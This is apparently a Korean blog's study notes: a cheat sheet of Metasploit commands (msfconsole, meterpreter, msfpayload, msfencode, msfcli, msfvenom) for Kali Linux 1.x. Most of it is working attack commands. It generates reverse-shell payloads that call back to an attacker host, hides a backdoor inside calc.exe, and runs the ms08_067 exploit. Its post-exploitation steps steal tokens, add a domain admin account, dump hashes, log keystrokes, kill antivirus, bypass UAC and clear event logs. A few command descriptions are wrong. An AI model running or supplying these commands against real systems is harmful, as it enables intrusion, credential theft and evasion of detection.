본문 바로가기

Learning/└◆Metasploit

MSF 관련 명령어 정리

(정리)

MSF(Metasploit Framework) -> 모의해킹

SEtoolkit -> SET(Social Engineering Tech)  

Fake site 제작, SE Attack 등.. MSF로 할수 없는 것들 보유.

Beef-xss -> 브라우저 관련 해킹


연속해서 사용

DNS/ARP Spoofing(전초작업) +

msfconsole, armitage +

SE attack - setoolkit +

xss ataack, Broswer hackking -> BeFF 


(주의) 다음 문서는 칼리리눅스 1.0/1.1 버전을 기준으로 만들어 졌습니다.리스트 선택

따라서, 칼리리눅스 2.0 버전에서는 변형되었거나 혹은 사라진 명령어도 존재합니다.

 

 

MSF 관련 명령어 정리

 

 

msfconsole 명령어

 

# msfconsole

msf> CMD

 

명령어

설명

show exploits

프레임워크 내의 모든 익스플로잇을 출력한다.(msf> show -h)

show payloads

프레임워크 내의 모든 페이로드를 출력한다.

show auxiliary

프레임워크 내의 모든 보조 모듈을 출력한다.

search name

프레임워크 내의 익스플로잇이나 모듈을 검색한다.

info

특정 익스플로잇이나 모듈의 정보를 출력한다.

use name

익스플로잇이나 모듈을 로드한다.(EX: use windows/smb/psexec)

LHOST

공격 대상과 연결할 메타스플로잇을 사용하는 공격자(로컬) 호스트의 IP주소로 로컬 네트워크가 아닐 경우 공인 IP 주소를 사용한다. 일반적으로 리버스 쉘에서 사용한다.

RHOST or RHOSTS

원격 호스트나 공격 대상을 의미한다.

set function

특정 변수를 설정한다.(EX: LHOST, RHOST)

setg function

특정 변수를 전역으로 설정한다.(EX: LHOST, RHOST)

show options

모듈이나 익스플로잇에서 설정 가능한 옵션을 출력한다.

show targets

익스플로잇이 지원하는 플랫폼을 출력한다.

set target num

운영체제와 서비스팩 정보를 알고 있을 경우 목록에서 특정 대상을 지정한다.

set payload

사용할 payload를 선택한다.

show advanced

더 많은 옵션을 출력한다.

set autorunscript migratge -f

익스플로잇을 완료한 후 별도 프로세스로 자동으로 이주하게 설정한다.

check

대상이 해당 공격에 취약한지 확인한다.

exploit

익스플로잇 공격 모듈을 실행한다.

exploit -j

익스플로잇을 잡으로 동작시킨다.(이 명령은 익스플로잇을 백그라운드에서 실행한다.)

exploit -z

익스플로잇을 성공한 후에 세션을 연결하지 않는다.

exploit -e encoder

특정 페이로드 인코더를 사용한다.(EX: exploit -e shikata_ga_nai)

exploit -h

익스플로잇 명령에 대한 도움말을 출력한다.

sessions -l

연결된 세션 목록을 출력한다.(여러 쉘을 핸들링할 때 사용한다.)

sessions -l -v

모든 연결된 세션과 시스템을 익스플로잇할 때 사용한 취약점 같은 세부적인 내용을 출력한다.

sessions -s script

미터프리터의 모든 활성화된 세션에서 특정 미터프리터 스크립트를 실행한다.

sessions -K

모든 연결된 세션을 종료한다.

sessions -c cmd

모든 연결된 세션에서 명령을 실행한다.

sessions -u sessionID

일반 Win32 셀을 미터프리터 콘솔로 업그레이드한다.

db_create name

데이터베이스를 공격에 사용하기 위해 데이터베이스를 생성한다.(EX: db_create autopwn)

db_connect name

데이터베이스를 이용한 공격을 위해 데이터베이스에 연결한다.(EX: db_connect autopwn)

db_nmap

엔맵을 사용하고 결과를 데이터베이스에 저장한다.(-sT -v -P0 처럼 일반적인 앤맵 문법을 사용할 수 있다.)

db_autopwn -h

db_autopwn 명령에 대한 도움말을 출력한다.

db_autopwn -p -r -e

모든 열린 포트를 대상으로 리버스 쉘을 사용하며, 모든 시스템에 익스플로잇을 수행하는 db_autopwn을 실행한다.

db_destory

사용 중인 데이터베이스를 삭제한다.

db_destroy user:password@host:port/database

추가 옵션을 사용해 데이터베이스를 삭제한다.

미터프리터(meterpreter) 관련 명령어

 

# msfconsole

meterpreter> CMD

 

명령어

설명

help

미터프리터 사용 도움말을 출력한다.

run scriptname

scripts/meterpreter 디렉토리 목록을 검색해 scriptname에 입력한 미터프리터 기반의 스크립트를 실행한다.

sysinfo

점령한 대상 시스템의 정보를 출력한다.

ls

대상 시스템의 폴더와 파일 목록을 출력한다.

use priv

확장된 미터프리터 라이브러리를 사용하기 위해 권한을 확장한다.

ps

모든 프로세스와 각 프로세스와 관련된 사용자 계정을 출력한다.

migrate PID

특정 프로세스 ID로 미터프리터를 이주한다.

use incognito

incognito 기능을 불러온다.(대상 시스템의 토큰을 훔치고 자격 변경(impersonation)을 위해 사용한다.)

list_tokens -u

대상 시스템의 특정 사용자가 사용 가능한 토큰을 출력한다.

list_tokens -g

대상 시스템 그룹에서 사용 가능한 토큰을 출력한다.

impersonate_token DOMAIN_NAME\\USERNAME

대상 시스템에서 사용 가능한 토큰으로 자격을 변경한다.

steal_token PID

주어진 프로세스에서 사용 가능한 토큰을 훔치고 해당 토큰을 이용해 자격을 변경한다.

drop_token

현재 토큰을 이용한 자격 변경을 중단한다.

getsystem

다중 공격 벡터를 이용해 시스템 레벨 접근으로 권한을 상승시킨다.

shell

사용 가능한 모든 토큰을 이용해 통신 가능한 쉘을 제공한다.

execute -f cmd.exe -i

cmd.exe를 실행하고 통신한다.

execute -f cmd.exe -i -t

모든 사용 가능한 토큰으로 cmd.exe를 실행한다.

execute -f cmd.exe -i -H -t

모든 사용 가능한 토큰으로 cmd.exe를 실행하고 해당 프로세스를 숨긴다.

rev2self

대상 시스템을 점령해 획득한 원래 사용자 권한으로 돌아간다.

reg command

대상 시스템의 레지스트리의 정보를 가져오거나 생성, 삭제, 쿼리, 설정 등 다양한 명령을 수행한다.

setdesktop number

로그인된 다른 사용자의 화면으로 전환한다.

screenshot

대상 시스템에 파일을 업로드한다.

download file

대상 시스템에 있는 파일을 다운로드 한다.

keyscan_start

대상 시스템의 키보드 입력 기록을 시작한다.

keyscan_dump

대상 시스템에서 수집한 키 입력 정보를 덤프한다.

keyscan_stop

원격 시스템의 키보드 입력 기록을 중단한다.

getprivs

대상 시스템에서 가능한 한 많은 권한을 얻는다.

uictl enable keyboard/mouse

키보드와 마우스의 제어를 얻는다.

background

현재 구동 중인 미터프리터 쉘을 백그라운드로 전환한다.

hashdump

대상 시스템의 모든 해시 값을 덤프한다.

use sniffer

스니퍼 모듈을 로드한다.

sniffer_interfaces

대상 시스템에서 사용 가능한 네트워크 인터페이스를 출력한다.

sniffer_dump interfaceID packet-buffer

패킷 버퍼 크기를 정하고 스니핑을 시작한다.

sniffer_stas interfaceID

스니퍼를 중단한다.

add_user username password -h ip

원격 대상 시스템에 사용자를 추가한다.

add_group_user "Domain Admins" username -h ip

원격 대상 시스템에 도메인 관리자 그룹에 사용자를 추가한다.

clearev

대상 시스템의 이벤트 로그를 제거한다.

timestomp

파일의 생성시간과 같은 속성 정보를 변경한다.(아티 포렌식 기술)

reboot

대상 시스템을 재부팅한다.

msfpayload 관련 명령어

 

# msfpayload CMD

 

명령어

설명

msfpayload -h

존재하는 페이로드를 출력한다.

msfpayload windows/meterpreter/bind_tcp O

windows/meterpreter/bind_tcp 페이로드에 적용 가능한 옵션을 출력한다.(이 명령은 모든 페이로드에 적용 가능하다.)

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe

192.168.1.5443 포트로 연결시킬 reverse_tcp 미터프리터 레이로드를 생성하고, 이를 payload.exe라는 윈도우 실행 파일로 저장한다.

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.rev

위와 동일하며, 단지 원시 데이터 포맷(Raw Data Format)으로 저장한다. 이렇게 생성한 파일은 추후 MSFencode에서 사용할 수 있다.

msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c

위와 동일하며 C 포맷의 쉘코드로 저장한다.

msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java

%u 인코딩된 자바스크립트로 저장한다.

 

 

 

msfencode 관련 명령어

 

# msfencode CMD

 

명령어

설명

msfencode -h

도움말을 출력한다.

msfencode -l

가능한 인코더 목록을 출력한다.

msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)

인코딩할 버퍼의 포맷을 출력한다.

msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe

payload.rawshikata_ga_nai5회 인코딩하고 파일명 encoded_payload.exe로 저장한다.

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/ _countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-enocded_payload.exe

다중 인코딩된 페이로드를 생성한다.

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c

ESI 레지스터가 쉘코드를 가리키는 문자 숫자 조합형 쉘코드를 생성한다. 그리고 이 결과를 c로 출력한다.

 

 

 

msfcli 관련 명령어

 

# msfcli CMD

 

명령어

설명

msfcli | grep exploit

익스플로잇만 출력한다.

msfcli | grep exploit/windows

윈도우 익스플로잇만 출력한다.

msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E

172.16.32.142 IP를 가진 시스템의 열린 443 포트에 bind_tcp 페이로드를 적제한 ms08_067_netapi 익스플로잇으로 공격한다.

 

 

 

 

 

기타(msf, ninja, fu)

 

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |

msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe

백도어로 사용하기 위한 템플릿으로 calc.exe를 이용해 192.168.1.5443 포트로 접근하는 리버스 미터프리터 페이로드를 생성한다.

프로그램의 실행 흐름을 정상적으로 유지하모, 임무를 수행한다. 페이로드를 shikata_ga_nai로 인코딩해 최종 결과물을 payload.exe로 저장한다.

 

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |

msfencode -x calc.exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe

백도어로 사용하기 위한 템플릿으로 calc.exe를 이용해 192.168.1.5443 포트로 접근하는 리버스 미터프리터 페이로드를 생성한다.

실행 할 때 애플리케이션이 정상적으로 실행 흐름을 따르지 않으며, 사용자에게 어떠한 창도 띄우지 않는다. 브라우저 익스플로잇을

통해 원격 접근할 때 사용자에게 계산기 프로그램을 숨기기 위해 사용할 수 있따. 이 명령도 shikata_ga_nai로 인코딩한 페이로드를

payload.exe 파일로 저장한다.

 

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe

&& msfcli multi/handler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 Ebind_tcp 미터프리터 페이로드를 원시 데이터 포맷으로 생성하고

shikata_ga_nai7회 인코딩한다. 인코딩 된 페이로드를 payload.exe라는 윈도우 실행 파일 포맷으로 저장하고 해당 페이로드를 받아 실행하는

다중 핸들러를 설정한다.

 

 

 

msfvenom

 

msfvenom은 모든 기능을 하나로 만든 것으로 페이로드을 생성하고 인코딩한다.

 

# msfvenom --payload windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai LHOST=172.16.1.32 LPORT=443 > msf.exe

-> 위의 명령어 한줄로 페이로드를 생성하고 이를 자동으로 실행 파일 형태로 생성한다.

 

 

 

미터프리터(meterpreter) 포스트 익스플로잇(post exploit) 명령

 

미터프리터를 사용하여 윈도우 기반 시스템의 권한을 상승한다.meterpreter> use privmeterpreter> getsystem

 

주어진 프로세스 ID에서 도메인 관리자 토큰을 훔쳐 도메인 계정을 추가하고 해당 계정을 도메인 관리 그룹으로 지정한다.

meterpreter> psmeterpreter> steal_token 1784meterpreter> shellc:\windows\system32> net user metasploit p@55w0rd

/ADD /DOMAINc:\windows\system32> net group "Domain Admin" metasploit /ADD /DOMAIN

 

SAM 데이터베이스에서 패스워드 해시를 덤프한다.

(주의)만약 windows 2008 서버에서 getsystem, hashdump 명령어 예외가

발생한다면 system 계정에서 동작하는 프로세스로 이주할 필요가 있다.

meterpreter> use privmeterpreter> getsystemmeterpreter> hashdump

 

다른 프로세스로 자동 이주한다.meterpreter> run migrate

 

killav 미터프리터 스크립트 대상에서 동작하는 백신을 종료한다.meterpreter> run killav

 

이주한 프로세스 내에 대상 시스템 키보드 입력을 수집한다.

meterpreter> psmeterpreter> migrate 1436meterpreter> keyscan_startmeterpreter> keyscan_dumpmeterpreter> keyscan_stop

 

관리자로 가장하기 위해 익명을 사용한다.

meterpreter> use incognitometerpreter> list_tokens -umeterpreter> use privmeterpreter> getsystemmeterpreter>

list_tokens -umeterpreter> impersonate_token IHAZSECURITY\\Administrator

 

점령한 대상에 존재하는 보호 메커니즘을 파악하고, 명령과 관련된 도움말을 출력하며, 방화벽 같은 모든 발견된 대응책을 종료한다.

meterpreter> run getcountermeasuremeterpreter> run getcountermeasure -hmeterpreter> run getcountermeasure -d -k

 

점령한 시스템이 가상 머신인지 확인한다.meterpreter> run checkvm

 

현재 미터프리터 콘솔 세션에서 명령 창을 띄운다.meterpreter> shell

 

대상 머신에서 원격 GUI 프로그램(EX: VNC)을 실행한다.meterpreter> run vnc

 

현재 동작하는 미터프리터 콘솔을 백그라운드로 전환한다.meterpreter> background

 

윈도우의 사용자 접근 제어(UAC, User Access Control)를 우회한다.meterpreter> run post/windows/escalate/bypassuac

 

OS X 시스템의 해시를 추출한다.meterpreter> run post/osx/gather/hashdump

 

리눅스 시스템의 해시를 추출한다.meterpreter> run post/linux/gather/hashdump